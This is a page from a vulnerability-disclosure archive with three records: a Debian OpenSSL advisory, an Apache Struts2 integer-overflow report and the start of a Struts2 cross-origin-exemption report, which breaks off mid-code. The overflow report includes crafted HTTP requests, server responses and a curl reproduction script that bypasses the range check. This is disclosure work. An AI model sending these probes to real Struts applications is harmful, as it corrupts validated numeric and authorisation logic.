Organization

Vulnerability Disclosure Archive

GNA-1988

GNA identifier
GNA-1988 GCVE registry Recent publications

Recent vulnerabilities

581 GCVE records assigned by this organization as GNA-1988

GCVE-1988-2026-0536

Vulnerability from gna-1988 – Published: 2026-11-02 10:02 – Updated: 2026-11-02 10:02
VLAI
Title
[Bugtraq] [SECURITY] [DSA 6465-1] openssl security update
Summary
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 - ------------------------------------------------------------------------- Debian Security Advisory DSA-6465-1 security@debian.org https://www.debian.org/security/ Salvatore Bonaccorso August 25, 2026 https://www.debian.org/security/faq - ------------------------------------------------------------------------- Package : openssl CVE ID : CVE-2026-14456 CVE-2026-14457 CVE-2026-18798 CVE-2026-54874 CVE-2026-63072 CVE-2026-63073 CVE-2026-63074 CVE-2026-63075 CVE-2026-63076 CVE-2026-75803 Debian Bug : 1144615 1145172 Multiple vulnerabilities have been discovered in OpenSSL, a Secure Sockets Layer toolkit, which may result in denial of service. Additional details can be found in the upstream advisories: https://openssl-library.org/news/secadv/20260813.txt https://openssl-library.org/news/secadv/20260825.txt For the stable distribution (trixie), these problems have been fixed in version 3.5.7-1~deb13u2. We recommend that you upgrade your openssl packages. For the detailed security status of openssl please refer to its security tracker page at: https://security-tracker.debian.org/tracker/openssl Further information about Debian Security Advisories, how to apply these updates to your system and frequently asked questions can be found at: https://www.debian.org/security/ Mailing list: debian-security-announce@lists.debian.org -----BEGIN PGP SIGNATURE----- iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmqN5alfFIAAAAAALgAo aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2 NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND z0QBqRAAlXIilJWwjS0VS1pgroaCFUNGhL1HrTsBIIrnnrWTUOeD19fFLvvcVK5B j1UaT/jurxSp6Bkre7NrQFzLlXk6xvRWTR2dxv9K1q29lYgPwpVjfO25kdQ2LWeg 0n0qA4Kb394Evtf9lmb3KMNrrRJHc9DmuXZDQWAjsNRwVxBEaJ+yN9Im92CcQQQb CUgVYzlx+mvBfPTGgStTFJjMXT/pTaVz+WDHbfEc5WM8tRe3YYb+e+/vOdA4jrEv UKdH1M+fNg1gB7+cCr8QyTQiTMvz2BxwBuI7jlK67FFZL322SqON4chQRXleWp86 imyBANOP4dRdMV1aYGT38VZYjoURwuvLR77ZhyLe1c927YcIkXe11K0HMwq9DeXv o+TQQTf1qJN8Zd0sQuz88/d6T9jtzRgFvNkZpiXXy3nQrKnE0FAfZuGCyniiie9b VipvzWLxfpeEH9TW9hotwCVyv395RRaWM6m8UuQI4J+3yVTUY4S+nO4aHo5Wi5HN WeYxaFZSKYTUlsjAGMgYGm5aH4TtAFoHxzTTzsvvArKPDpFukZH4Ux+t9adydwTZ KRxmHmEWcLYKchZksLymvOCKrG57LTAqJi+CVi+oJAc23RqYyZy1tEdB8hSQ6s2S sTk0pcwjB5xk4BZXdDr/8nmqivlfJA3eFDO0K9P/l9CFK280MQw= =IuuF -----END PGP SIGNATURE-----
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Openssl security update Affected: unknown
Create a notification for this product.
Relationships
reference GCVE-1988-2026-0536 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "security update",
          "vendor": "Openssl",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Salvatore Bonaccorso"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n- -------------------------------------------------------------------------\nDebian Security Advisory DSA-6465-1                   security@debian.org\nhttps://www.debian.org/security/                     Salvatore Bonaccorso\nAugust 25, 2026                       https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\nPackage        : openssl\nCVE ID         : CVE-2026-14456 CVE-2026-14457 CVE-2026-18798 CVE-2026-54874\nCVE-2026-63072 CVE-2026-63073 CVE-2026-63074 CVE-2026-63075\nCVE-2026-63076 CVE-2026-75803\nDebian Bug     : 1144615 1145172\nMultiple vulnerabilities have been discovered in OpenSSL, a Secure\nSockets Layer toolkit, which may result in denial of service.\nAdditional details can be found in the upstream advisories:\nhttps://openssl-library.org/news/secadv/20260813.txt\nhttps://openssl-library.org/news/secadv/20260825.txt\nFor the stable distribution (trixie), these problems have been fixed in\nversion 3.5.7-1~deb13u2.\nWe recommend that you upgrade your openssl packages.\nFor the detailed security status of openssl please refer to its security\ntracker page at:\nhttps://security-tracker.debian.org/tracker/openssl\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\nMailing list: debian-security-announce@lists.debian.org\n-----BEGIN PGP SIGNATURE-----\niQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmqN5alfFIAAAAAALgAo\naXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2\nNDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND\nz0QBqRAAlXIilJWwjS0VS1pgroaCFUNGhL1HrTsBIIrnnrWTUOeD19fFLvvcVK5B\nj1UaT/jurxSp6Bkre7NrQFzLlXk6xvRWTR2dxv9K1q29lYgPwpVjfO25kdQ2LWeg\n0n0qA4Kb394Evtf9lmb3KMNrrRJHc9DmuXZDQWAjsNRwVxBEaJ+yN9Im92CcQQQb\nCUgVYzlx+mvBfPTGgStTFJjMXT/pTaVz+WDHbfEc5WM8tRe3YYb+e+/vOdA4jrEv\nUKdH1M+fNg1gB7+cCr8QyTQiTMvz2BxwBuI7jlK67FFZL322SqON4chQRXleWp86\nimyBANOP4dRdMV1aYGT38VZYjoURwuvLR77ZhyLe1c927YcIkXe11K0HMwq9DeXv\no+TQQTf1qJN8Zd0sQuz88/d6T9jtzRgFvNkZpiXXy3nQrKnE0FAfZuGCyniiie9b\nVipvzWLxfpeEH9TW9hotwCVyv395RRaWM6m8UuQI4J+3yVTUY4S+nO4aHo5Wi5HN\nWeYxaFZSKYTUlsjAGMgYGm5aH4TtAFoHxzTTzsvvArKPDpFukZH4Ux+t9adydwTZ\nKRxmHmEWcLYKchZksLymvOCKrG57LTAqJi+CVi+oJAc23RqYyZy1tEdB8hSQ6s2S\nsTk0pcwjB5xk4BZXdDr/8nmqivlfJA3eFDO0K9P/l9CFK280MQw=\n=IuuF\n-----END PGP SIGNATURE-----"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T10:02:57Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/item/90780217511ba9473775d7daca7f41ec65f1b70f96cb131ad057bb14544f2f64"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/F67TVJDJLUTSXDZPLED7P57UK4ORENKV/"
        },
        {
          "url": "https://openssl-library.org/news/secadv/20260813.txt"
        },
        {
          "url": "https://openssl-library.org/news/secadv/20260825.txt"
        },
        {
          "url": "https://security-tracker.debian.org/tracker/openssl"
        },
        {
          "url": "https://www.debian.org/security/"
        },
        {
          "url": "https://www.debian.org/security/faq"
        }
      ],
      "source": {
        "defect": [
          "E1wywMA-00000005YZP-0RlG%40seger.debian.org"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[Bugtraq] [SECURITY] [DSA 6465-1] openssl security update",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2026-14456",
              "type": "related"
            },
            {
              "destId": "CVE-2026-14457",
              "type": "related"
            },
            {
              "destId": "CVE-2026-18798",
              "type": "related"
            },
            {
              "destId": "CVE-2026-54874",
              "type": "related"
            },
            {
              "destId": "CVE-2026-63072",
              "type": "related"
            },
            {
              "destId": "CVE-2026-63073",
              "type": "related"
            },
            {
              "destId": "CVE-2026-63074",
              "type": "related"
            },
            {
              "destId": "CVE-2026-63075",
              "type": "related"
            },
            {
              "destId": "CVE-2026-63076",
              "type": "related"
            },
            {
              "destId": "CVE-2026-75803",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0536",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/item/90780217511ba9473775d7daca7f41ec65f1b70f96cb131ad057bb14544f2f64",
            "automated": true,
            "contentSha256": "90780217511ba9473775d7daca7f41ec65f1b70f96cb131ad057bb14544f2f64",
            "evidenceScore": 6,
            "messageId": "E1wywMA-00000005YZP-0RlG%40seger.debian.org",
            "originalUrl": "https://lists.securityfocus.com/hyperkitty/list/bugtraq@securityfocus.com/message/F67TVJDJLUTSXDZPLED7P57UK4ORENKV/",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-02T10:02:57Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0536"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T10:02:57Z",
    "dateUpdated": "2026-11-02T10:02:57Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0536"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0535

Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
Title
Apache Struts2 Core Integer Overflow
Summary
Description Apache Struts2 Core version 7.4.0 and below fails to properly prevent integer overflows, causing wrap-arounds and other issues on a downstream forced casting into types smaller than `BigInteger`. Importantly, this finding underscores why all applications using Struts and other such platforms should perform their own input validation checks and not blindly assume that the upstream Struts2 code has done as such, but the finding also shows that input passed from the upstream provider may not faithfully represent what the user provided. Impact An attacker who can influence a parameter bound to a boxed `Byte`, `Short`, `Integer`, `Long`, or `Character` action property can submit a numeric string that is both out of range for the target type and formatted using the resolved locale's grouping separator (e.g. `"2,147,483,648"` under `en_US`) to make `isInRange` silently return `true` instead of correctly rejecting the value. Since the swallowed `NumberFormatException` never reaches the caller, execution proceeds into `DefaultTypeConverter.convertValue`, where the oversized value is narrowed with an unchecked cast such as `(int) longValue(value)`, silently wrapping it into the target type's range ("2,147,483,648" becomes `-2147483648` for an `Integer` field) instead of raising the `TypeConversionException` the overflow guard is supposed to produce. This lets a value the application assumes was range-validated reach downstream business logic as an unexpected negative, zero, or otherwise mismatched figure, which can corrupt quantity, monetary, identifier, or other numeric computations and any authorisation or business-rule decision that depends on the converted value being bounded and faithful to the caller's submitted intent. Examples Sample Code `NumberConverter.convertValue`, in `core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java`, parses a request string using a grouping-aware `NumberFormat` and then calls `isInRange` with the original, still-grouped string to confirm the parsed value is within bounds for the target numeric type; `isInRange` re-parses that same grouped string with `new BigInteger`, and its `catch` block treats the resulting `NumberFormatException` as confirmation that the value is in range. Once `isInRange` has incorrectly reported that the value is acceptable, control returns to `NumberConverter.convertValue`, which delegates to `DefaultTypeConverter.convertValue`; for an `Integer`-typed target this narrows the value with an unchecked cast, producing the actual silent wraparound. ```java } else { if (stringValue.isEmpty()) { return null; } NumberFormat numFormat = NumberFormat.getInstance(getLocale(context)); ParsePosition parsePos = new ParsePosition(0); if (isIntegerType(toType)) { numFormat.setParseIntegerOnly(true); } numFormat.setGroupingUsed(true); Number number = numFormat.parse(stringValue, parsePos); if (parsePos.getIndex() != stringValue.length()) { throw new TypeConversionException("Unparseable number: \"" + stringValue + "\" at position " + parsePos.getIndex()); } else { if (!isInRange(number, stringValue, toType)) throw new TypeConversionException("Overflow or underflow casting: \"" + stringValue + "\" into class " + number.getClass().getName()); value = super.convertValue(context, number, toType); } } ``` Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 57-78 ```java } else if (int.class == toType || Integer.class == toType) { bigValue = new BigInteger(stringValue); lowerBound = BigInteger.valueOf(Integer.MIN_VALUE); upperBound = BigInteger.valueOf(Integer.MAX_VALUE); } else if (long.class == toType || Long.class == toType) { bigValue = new BigInteger(stringValue); lowerBound = BigInteger.valueOf(Long.MIN_VALUE); upperBound = BigInteger.valueOf(Long.MAX_VALUE); } else { throw new IllegalArgumentException("Unexpected numeric type: " + toType.getName()); } } catch (NumberFormatException e) { //shoult it fail here? BigInteger doesnt seem to be so nice parsing numbers as NumberFormat return true; } ``` Snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 209-222 ```java if ((toType == Integer.class) || (toType == Integer.TYPE)) result = (int) longValue(value); ``` Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/conversion/impl/DefaultTypeConverter.java, lines 122-123, showing the casting to `int` that causes the wrap-around Sample Request-Response Pairs `org.apache.struts2.showcase.ajax.Example5Action`, reachable via `/showcase/showcase/ajax/example5.action`, exposes a boxed `Integer age` property behind a `@StrutsParameter`-annotated setter, so the overflow guard bypass in `struts2-core` is reachable through this action's ordinary input binding. The four live probes below, each issued on a freshly established session with devMode's `DebuggingInterceptor` set to `debug=command&expression=age` so that the bound value can be read straight off the per-request value stack, isolate the defect to the comma -- the first probe submits `Integer.MAX_VALUE + 1` with a grouping separator and receives the wrapped, unrelated negative value; the first control submits the identical magnitude without a comma and that is correctly rejected; the second control submits a genuinely in-range grouped value that converts correctly; and the third control submits a bare baseline value that converts correctly. ```http GET /showcase/showcase/ajax/example5.action?age=2%2C147%2C483%2C648&name=overflow-grouped-probe&debug=command&expression=age HTTP/1.1 Host: 127.0.0.1:8383 ``` A request containing a value too large to fit in an `int` -- `age=2,147,483,648` (`Integer.MAX_VALUE + 1`) ```http HTTP/1.1 200 Content-Type: text/plain;charset=ISO-8859-1 Content-Length: 11 -2147483648 ``` The server accepts the request and the parameter bypasses the overflow guard, is cast to an `int`, and wraps-around to `-2147483648` instead of raising a `TypeConversionException` ```http GET /showcase/showcase/ajax/example5.action?age=2147483648&name=overflow-ungrouped-control&debug=command&expression=age HTTP/1.1 Host: 127.0.0.1:8383 ``` A request containing a value too large to fit in an `int` -- `age=2147483648` -- but without a grouping separator ```http HTTP/1.1 200 Content-Type: text/html;charset=ISO-8859-1 Content-Length: 3154 <!-- ... --><html>...<title>Struts Problem Report</title>... ``` The server correctly rejects the value, catching the overflow ```http GET /showcase/showcase/ajax/example5.action?age=1%2C234&name=in-range-grouped-control&debug=command&expression=age HTTP/1.1 Host: 127.0.0.1:8383 ``` Control request -- `age=1,234` -- an in-range, comma-grouped number ```http HTTP/1.1 200 Content-Type: text/plain;charset=ISO-8859-1 Content-Length: 4 1234 ``` Response showing that numbers with commas that remain in-bounds stay as such and are properly interpreted ```http GET /showcase/showcase/ajax/example5.action?age=42&name=baseline-control&debug=command&expression=age HTTP/1.1 Host: 127.0.0.1:8383 ``` Control request -- `age=42` -- a bare baseline value ```http HTTP/1.1 200 Content-Type: text/plain;charset=ISO-8859-1 Content-Length: 2 42 ``` Response showing correct conversion, as one would expect Steps to Reproduce This is intended to run against a system using the showcase example. Remember that the issue is locale-aware, so your grouping may not be via commas. ```zsh #!/usr/bin/env zsh BASE_URL="http://127.0.0.1 :8383/showcase/showcase/ajax/example5.action" echo "=== Vulnerable probe: age=2,147,483,648 (Integer.MAX_VALUE + 1, comma-grouped) ===" curl -i -s --get \ --data-urlencode "age=2,147,483,648" \ --data-urlencode "name=overflow-grouped-probe" \ --data-urlencode "debug=command" \ --data-urlencode "expression=age" \ "$BASE_URL" echo "\n\n=== Control 1: age=2147483648 (identical magnitude, no grouping separator) ===" curl -i -s --get \ --data-urlencode "age=2147483648" \ --data-urlencode "name=overflow-ungrouped-control" \ --data-urlencode "debug=command" \ --data-urlencode "expression=age" \ "$BASE_URL" echo "\n\n=== Control 2: age=1,234 (genuinely in-range, comma-grouped) ===" curl -i -s --get \ --data-urlencode "age=1,234" \ --data-urlencode "name=in-range-grouped-control" \ --data-urlencode "debug=command" \ --data-urlencode "expression=age" \ "$BASE_URL" echo "\n\n=== Control 3: age=42 (bare baseline) ===" curl -i -s --get \ --data-urlencode "age=42" \ --data-urlencode "name=baseline-control" \ --data-urlencode "debug=command" \ --data-urlencode "expression=age" \ "$BASE_URL" ``` _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Apache Struts2 Core Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Struts2 Core",
          "vendor": "Apache",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Description\nApache Struts2 Core version 7.4.0 and below fails to properly prevent integer overflows, causing wrap-arounds and other \nissues on a downstream forced casting into types smaller than `BigInteger`.  Importantly, this finding underscores why \nall applications using Struts and other such platforms should perform their own input validation checks and not blindly \nassume that the upstream Struts2 code has done as such, but the finding also shows that input passed from the upstream \nprovider may not faithfully represent what the user provided.\n\nImpact\nAn attacker who can influence a parameter bound to a boxed `Byte`, `Short`, `Integer`, `Long`, or `Character` action \nproperty can submit a numeric string that is both out of range for the target type and formatted using the resolved \nlocale\u0027s grouping separator (e.g. `\"2,147,483,648\"` under `en_US`) to make `isInRange` silently return `true` instead \nof correctly rejecting the value.  Since the swallowed `NumberFormatException` never reaches the caller, execution \nproceeds into `DefaultTypeConverter.convertValue`, where the oversized value is narrowed with an unchecked cast such as \n`(int) longValue(value)`, silently wrapping it into the target type\u0027s range (\"2,147,483,648\" becomes `-2147483648` for \nan `Integer` field) instead of raising the `TypeConversionException` the overflow guard is supposed to produce.  This \nlets a value the application assumes was range-validated reach downstream business logic as an unexpected negative, \nzero, or otherwise mismatched figure, which can corrupt quantity, monetary, identifier, or other numeric computations \nand any authorisation or business-rule decision that depends on the converted value being bounded and faithful to the \ncaller\u0027s submitted intent.\n\nExamples\nSample Code\n`NumberConverter.convertValue`, in `core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java`, parses \na request string using a grouping-aware `NumberFormat` and then calls `isInRange` with the original, still-grouped \nstring to confirm the parsed value is within bounds for the target numeric type; `isInRange` re-parses that same \ngrouped string with `new BigInteger`, and its `catch` block treats the resulting `NumberFormatException` as \nconfirmation that the value is in range.  Once `isInRange` has incorrectly reported that the value is acceptable, \ncontrol returns to `NumberConverter.convertValue`, which delegates to `DefaultTypeConverter.convertValue`; for an \n`Integer`-typed target this narrows the value with an unchecked cast, producing the actual silent wraparound.\n\n```java\n            } else {\n                if (stringValue.isEmpty()) {\n                    return null;\n                }\n                NumberFormat numFormat = NumberFormat.getInstance(getLocale(context));\n                ParsePosition parsePos = new ParsePosition(0);\n                if (isIntegerType(toType)) {\n                    numFormat.setParseIntegerOnly(true);\n                }\n                numFormat.setGroupingUsed(true);\n                Number number = numFormat.parse(stringValue, parsePos);\n\n                if (parsePos.getIndex() != stringValue.length()) {\n                    throw new TypeConversionException(\"Unparseable number: \\\"\" + stringValue + \"\\\" at position \"\n                        + parsePos.getIndex());\n                } else {\n                    if (!isInRange(number, stringValue, toType))\n                        throw new TypeConversionException(\"Overflow or underflow casting: \\\"\" + stringValue + \"\\\" into \nclass \" + number.getClass().getName());\n\n                    value = super.convertValue(context, number, toType);\n                }\n            }\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines \n57-78\n\n```java\n            } else if (int.class == toType || Integer.class == toType) {\n                bigValue = new BigInteger(stringValue);\n                lowerBound = BigInteger.valueOf(Integer.MIN_VALUE);\n                upperBound = BigInteger.valueOf(Integer.MAX_VALUE);\n            } else if (long.class == toType || Long.class == toType) {\n                bigValue = new BigInteger(stringValue);\n                lowerBound = BigInteger.valueOf(Long.MIN_VALUE);\n                upperBound = BigInteger.valueOf(Long.MAX_VALUE);\n            } else {\n                throw new IllegalArgumentException(\"Unexpected numeric type: \" + toType.getName());\n            }\n        } catch (NumberFormatException e) {\n            //shoult it fail here? BigInteger doesnt seem to be so nice parsing numbers as NumberFormat\n            return true;\n        }\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/NumberConverter.java, lines 209-222\n\n```java\nif ((toType == Integer.class) || (toType == Integer.TYPE))\n    result = (int) longValue(value);\n```\nCode snippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/conversion/impl/DefaultTypeConverter.java, \nlines 122-123, showing the casting to `int` that causes the wrap-around\n\nSample Request-Response Pairs\n`org.apache.struts2.showcase.ajax.Example5Action`, reachable via `/showcase/showcase/ajax/example5.action`, exposes a \nboxed `Integer age` property behind a `@StrutsParameter`-annotated setter, so the overflow guard bypass in \n`struts2-core` is reachable through this action\u0027s ordinary input binding.  The four live probes below, each issued on a \nfreshly established session with devMode\u0027s `DebuggingInterceptor` set to `debug=command\u0026expression=age` so that the \nbound value can be read straight off the per-request value stack, isolate the defect to the comma -- the first probe \nsubmits `Integer.MAX_VALUE + 1` with a grouping separator and receives the wrapped, unrelated negative value; the first \ncontrol submits the identical magnitude without a comma and that is correctly rejected; the second control submits a \ngenuinely in-range grouped value that converts correctly; and the third control submits a bare baseline value that \nconverts correctly.\n\n```http\nGET \n/showcase/showcase/ajax/example5.action?age=2%2C147%2C483%2C648\u0026name=overflow-grouped-probe\u0026debug=command\u0026expression=age\n HTTP/1.1\nHost: 127.0.0.1:8383\n```\nA request containing a value too large to fit in an `int` -- `age=2,147,483,648` (`Integer.MAX_VALUE + 1`)\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 11\n\n-2147483648\n```\nThe server accepts the request and the parameter bypasses the overflow guard, is cast to an `int`, and wraps-around to \n`-2147483648` instead of raising a `TypeConversionException`\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=2147483648\u0026name=overflow-ungrouped-control\u0026debug=command\u0026expression=age \nHTTP/1.1\nHost: 127.0.0.1:8383\n```\nA request containing a value too large to fit in an `int` -- `age=2147483648` -- but without a grouping separator\n\n```http\nHTTP/1.1 200\nContent-Type: text/html;charset=ISO-8859-1\nContent-Length: 3154\n\n\u003c!-- ... --\u003e\u003chtml\u003e...\u003ctitle\u003eStruts Problem Report\u003c/title\u003e...\n```\nThe server correctly rejects the value, catching the overflow\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=1%2C234\u0026name=in-range-grouped-control\u0026debug=command\u0026expression=age \nHTTP/1.1\nHost: 127.0.0.1:8383\n```\nControl request -- `age=1,234` -- an in-range, comma-grouped number\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 4\n\n1234\n```\nResponse showing that numbers with commas that remain in-bounds stay as such and are properly interpreted\n\n```http\nGET /showcase/showcase/ajax/example5.action?age=42\u0026name=baseline-control\u0026debug=command\u0026expression=age HTTP/1.1\nHost: 127.0.0.1:8383\n```\nControl request -- `age=42` -- a bare baseline value\n\n```http\nHTTP/1.1 200\nContent-Type: text/plain;charset=ISO-8859-1\nContent-Length: 2\n\n42\n```\nResponse showing correct conversion, as one would expect\n\nSteps to Reproduce\nThis is intended to run against a system using the showcase example.  Remember that the issue is locale-aware, so your \ngrouping may not be via commas.\n\n```zsh\n#!/usr/bin/env zsh\n\nBASE_URL=\"http://127.0.0.1 :8383/showcase/showcase/ajax/example5.action\"\n\necho \"=== Vulnerable probe: age=2,147,483,648 (Integer.MAX_VALUE + 1, comma-grouped) ===\"\ncurl -i -s --get \\\n  --data-urlencode \"age=2,147,483,648\" \\\n  --data-urlencode \"name=overflow-grouped-probe\" \\\n  --data-urlencode \"debug=command\" \\\n  --data-urlencode \"expression=age\" \\\n  \"$BASE_URL\"\n\necho \"\\n\\n=== Control 1: age=2147483648 (identical magnitude, no grouping separator) ===\"\ncurl -i -s --get \\\n  --data-urlencode \"age=2147483648\" \\\n  --data-urlencode \"name=overflow-ungrouped-control\" \\\n  --data-urlencode \"debug=command\" \\\n  --data-urlencode \"expression=age\" \\\n  \"$BASE_URL\"\n\necho \"\\n\\n=== Control 2: age=1,234 (genuinely in-range, comma-grouped) ===\"\ncurl -i -s --get \\\n  --data-urlencode \"age=1,234\" \\\n  --data-urlencode \"name=in-range-grouped-control\" \\\n  --data-urlencode \"debug=command\" \\\n  --data-urlencode \"expression=age\" \\\n  \"$BASE_URL\"\n\necho \"\\n\\n=== Control 3: age=42 (bare baseline) ===\"\ncurl -i -s --get \\\n  --data-urlencode \"age=42\" \\\n  --data-urlencode \"name=baseline-control\" \\\n  --data-urlencode \"debug=command\" \\\n  --data-urlencode \"expression=age\" \\\n  \"$BASE_URL\"\n```\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T09:47:24Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/4"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/4"
        },
        {
          "url": "http://127.0.0.1"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/4"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Struts2 Core Integer Overflow",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0535",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/4",
            "automated": true,
            "contentSha256": "583dfe749702b67a9da19a3e0eccc51f4322c13b628fe6abeaac5818c1f388f2",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/4",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-29T14:52:23Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T09:47:24Z",
    "dateUpdated": "2026-11-02T09:47:24Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0535"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0534

Vulnerability from gna-1988 – Published: 2026-11-02 09:47 – Updated: 2026-11-02 09:47
VLAI
Title
Apache Struts2 Core Cross-Origin Protection Exemption Miskeyed to a Deployment-Wide Path
Summary
Description Apache Struts2 Core version 7.4.0 and below's `FetchMetadataInterceptor`, `CoepInterceptor`, and `CoopInterceptor` each compare their `exemptedPaths` configuration -- a per-interceptor-reference, administrator-supplied set of paths intended to exempt specific actions from the corresponding cross-origin protection -- against `HttpServletRequest.getContextPath()`. `getContextPath()` is fixed for the entire deployed web application and is identical on every request regardless of which action or servlet path is being invoked, so it cannot distinguish one action from another. Impact An administrator who configures `exemptedPaths` expecting it to exempt a specific action or endpoint, instead is configuring a value that can never match the real, single, deployment-wide context path returned on genuine traffic, so the per-action exemption never takes effect and the intended protection remains enforced everywhere, including on the endpoint the administrator believed was exempted. More importantly, if an administrator's configured exemption string happens to coincide with the application's actual context path -- such as if an administrator assumes that the parameter takes a path-like value and supplies the deployment's own root or an equally-named segment -- `exemptedPaths.contains(contextPath)` evaluates to `true` on every single request to the application and Fetch Metadata request filtering, the Cross-Origin Embedder Policy (COEP) header, and the Cross-Origin Opener Policy (COOP) header are all silently disabled for the entire deployment (well beyond the endpoint that the administrator intended to exempt), disabling the protections that such code is intended to provide across the entire application. Examples Sample Code All three interceptors, each in `struts2-core`, apply the identical pattern -- a per-action `exemptedPaths` set compared against the deployment-wide `getContextPath()` rather than against anything that actually varies per action. ```java private final Set<String> exemptedPaths = new HashSet<>(); private final ResourceIsolationPolicy resourceIsolationPolicy = new StrutsResourceIsolationPolicy(); @Inject(required = false) public void setExemptedPaths(String paths) { this.exemptedPaths.addAll(TextParseUtil.commaDelimitedStringToSet(paths)); } @Override public String intercept(ActionInvocation invocation) throws Exception { ActionContext context = invocation.getInvocationContext(); HttpServletRequest request = context.getServletRequest(); addVaryHeaders(invocation); String contextPath = request.getContextPath(); // Apply exemptions: paths/endpoints meant to be served cross-origin if (exemptedPaths.contains(contextPath)) { return invocation.invoke(); } ``` Code snippet from `struts2-core`'s core/src/main/java/org/apache/struts2/interceptor/FetchMetadataInterceptor.java, lines 55-73 ```java @Override public void beforeResult(ActionInvocation invocation, String resultCode) { HttpServletRequest req = invocation.getInvocationContext().getServletRequest(); final String path = req.getContextPath(); if 